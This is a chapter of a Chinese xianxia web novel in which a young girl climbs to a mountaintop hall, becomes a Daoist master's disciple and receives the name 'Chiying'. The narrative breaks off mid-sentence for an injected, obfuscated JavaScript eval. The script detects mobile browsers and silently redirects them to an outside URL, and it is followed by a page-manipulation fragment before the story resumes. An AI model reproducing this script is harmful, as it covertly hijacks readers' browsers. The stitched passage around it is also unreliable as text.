几日后,清晨。
蓁蓁被黎素真从被窝里唤起来的时候,天还未全亮。窗纸透着一层薄薄的灰蓝色,远处有鸟鸣,一声一声的,尚未成片。
“师父让我带你上山顶。”黎素真站在门外,手里提着一盏灯笼,灯罩上凝了一层细细的露珠。
蓁蓁揉了揉眼睛,没有多问,起身穿衣,洗漱束发。
她只将头发拢了拢,用一根素色的布条扎起来,便推门出去了。
黎素真看了她一眼,没有对她的衣着发表意见,只将灯笼往前递了递:“走吧,山路不好走。”
蓁蓁跟在他身后,两人一前一后,沿着青石台阶向上走去。
玄极观坐落在半山腰,真正的宗门却在山顶。
蓁蓁来了这么久,从未上过山顶。
她不知道上面有什么,也没有人告诉过她上面有什么。她只是跟着黎素真,一步一步往上走。
山路两侧是密密的松林,晨雾还未散尽,在林间缭绕成一层薄薄的白纱。
石阶上落满了松针,踩上去软绵绵的,带着露水的湿意。
走了一刻钟,蓁蓁的腿开始发酸了。她咬着牙没有吭声,继续往上走。
黎素真走在她前面,步伐平稳,气息不乱,但蓁蓁注意到他的脚步放慢了一些,大约是顾及她在后面跟着。
又走了一刻钟,蓁蓁的呼吸开始急促起来。
她毕竟只是一个八岁的孩子,身子底子算不上好,在拾翠楼的那些年,虽未受过苛待,却也没有正经锻炼过。
走了这么久的山路,她的腿已经开始打颤了。她停下来,双手撑着膝盖,喘了一会儿气。
黎素真也停下来,没有催促,只是站在上方的台阶上等着。
他指着远处被晨光照亮的一角屋檐:“快到了。你看,那就是。”
蓁蓁顺着他的手望过去,看见松林的空隙间露出一角灰瓦飞檐,在初升的日光中泛着淡淡的金色。她站直了身子,擦了擦额角的汗,继续往上走。
终于,石阶走到了尽头。
蓁蓁站在山顶的空地上,面前是一座三清殿。殿宇并不算宏伟,却有一种说不出的端正感。
殿前的香炉里燃着早香,青烟袅袅地升起来,在晨光中散成一片极淡的青色。
左婴站在殿前的台阶上。
他没有穿平日那件深青色的氅衣,而是换了一身正式的法服。
玄色的外袍,领口处露出白色的中衣,腰间束着一条苍青色的丝绦,长发用一根玉簪束起。平日里的松散收敛了几分,整个人显得端肃了许多。
他负着手,看着蓁蓁一步一步走完最后一级台阶,在她站在面前时,目光在她脸上停了一停。
蓁蓁的额角有汗,呼吸还未完全平复,衣裳的下摆沾了几片枯松针。
她站定了,仰头看着左婴,没有慌张,也没有局促,只是安安静静地等着。
左婴看了她片刻,只道了一句:“进来罢。”
蓁蓁跟着左婴走进三清殿。
殿内比外面看起来要大,光线有些暗。
阳光从高处的窗棂中斜斜透进来,落在青砖地面上。殿中供着三清像,像前点着长明灯,灯火在幽暗中轻轻摇曳。
左婴在供案前站定,回过身来,看着蓁蓁。
蓁蓁跪在蒲团上,按照左婴的指引,向三清像叩首,然后向左婴行拜师礼。
“我玄极观不重虚礼,但有三条规矩,你要记住。”
左婴的声音从上方传来,不高不低,语气平淡,却字字清晰,“一者,不欺师灭祖。二者,不仗法欺人。三者,不残害生灵。能做到么?”
蓁蓁跪在蒲团上,仰头看着他,目光澄澈:“能。”
左婴点了点头:“好。”
蓁蓁跪在蒲团上,恭恭敬敬地磕了三个头。起身时,她却没有立刻站起来,而是跪在原地,犹豫了一下。
左婴察觉到她还有话要说,便没有转身,看着她。
蓁蓁低着头,沉默了片刻,才开口道:“师父,我有一个不情之请。”
“说。”
“蓁蓁这个名字,”蓁蓁顿了一下,“听起来像个小名。李妈妈取的,她说姑娘家取个叠字的名字,听着亲切,客人喜欢。”
“从前不在意,但如今拜入师门,想请师父赐我一个正式的名字。”
她说完便低下了头,双手规规矩矩地放在膝上,等着他的回答。
左婴没有立刻接话。
他低头看着她,沉吟片刻,忽然问了一句不相干的话:“你那日在黑山老妖的洞中,可曾想过他会如何处置你?”
蓁蓁没想到他会问这个,愣了一下,才道:“想过。他大约是想吃了我,或是拿我炼什么东西。”
“你怕么。”
“当时不怕。”
“后来呢。”
“后来也不怎么怕。”
“为何。”
蓁蓁想了很久,久到左婴以为她不会回答了,她才开口,声音很轻:“因为我想过了。他若杀我,我便死了。他若不吃我,我便活着。”
“横竖都是他替我做决定,我自己做不了主的事,怕也无用。”
左婴听完这句话,没有点头,也没有摇头。他看着蓁蓁跪在蒲团上的小小身影,目光平静而深远。
他沉默了一会儿,开口时声音里带
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17504298|202867||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
着一种说不清的意味:“你说得对,蓁蓁确实是个小名。”
蓁蓁抬起头来,看着左婴转过身去,从供案上取了一支笔,在一张素笺上写了两个字,然后将那张纸笺递到她面前。
蓁蓁低头看去。
笺上是两个端正的楷书——“持盈”。
“持盈。”她轻声念了一遍。
“《周易》里有句话,‘人道恶盈而好谦。’”左婴负着手,语气不紧不慢的,像是在给她讲一篇很寻常的文章,“盈,是满的意思。月满则亏,水满则溢。万事万物,满了便要走下坡路了。”
他顿了顿,低头看着她:“但你不一样。”
蓁蓁抬起头,对上他的目光。
“你那日在山洞里,黑山老妖的手离你不过三寸,你却还能抬头看天上的烟火。”
左婴说这话的时候,语气里带着一丝极淡的笑意,像是自己也觉得这件事很有意思,“一个八岁的孩子,知道自己要死了,却不哭不闹,还能分出心思来看一眼烟花。”
“这是‘盈而不溢’。”
他看着她:“你心里是满的,但你不会洒出来,这便是持盈。”
蓁蓁低头看着纸笺上那两个字,沉默了很久。
“持盈。”她又念了一遍,声音比方才轻了一些,像是在用舌尖细细品味这两个字的重量。
她抬起头来:“那我的姓呢?”
左婴微微摇头:“不急。姓不是随意定的事。等你再大一些,想清楚了,自己定便是。”
蓁蓁点了点头,将那张纸笺小心翼翼地折好,收进怀里。
持盈又磕了一个头,才站起身来。
她低头看了一眼掌心中那张写着“持盈”二字的纸笺,折好,收进怀里,然后转身朝殿外走去。
殿外的日光正照在她身上,将她的人影在地上拉出一道长长的、细细的影子。
她沿着台阶一步步走下去,左婴站在殿内,隔着门槛望着那个小小的背影沿着石阶越走越远,最终被晨光融化了。
他收回目光,转身看了看供案上那支方才用来写字的笔,笔尖上的墨已经干了。
他伸手将笔拿起来,在水盂中洗了洗,挂回笔架上,动作不紧不慢的,与平日无异。
殿中只剩下他一个人,长明灯的灯火在幽暗中轻轻摇曳,将他的影子投在青砖地面上。
他没有说话,只是将桌上的纸笺收拢好,转身朝侧门走去。走了两步,脚步微微顿了一下,但也只是顿了一下,便继续往前走了。
殿外的日光从敞开的门扇中照进来,在门槛上落了一道明亮的分界线。殿内殿外,一明一暗,被那道门槛清清楚楚地隔开了。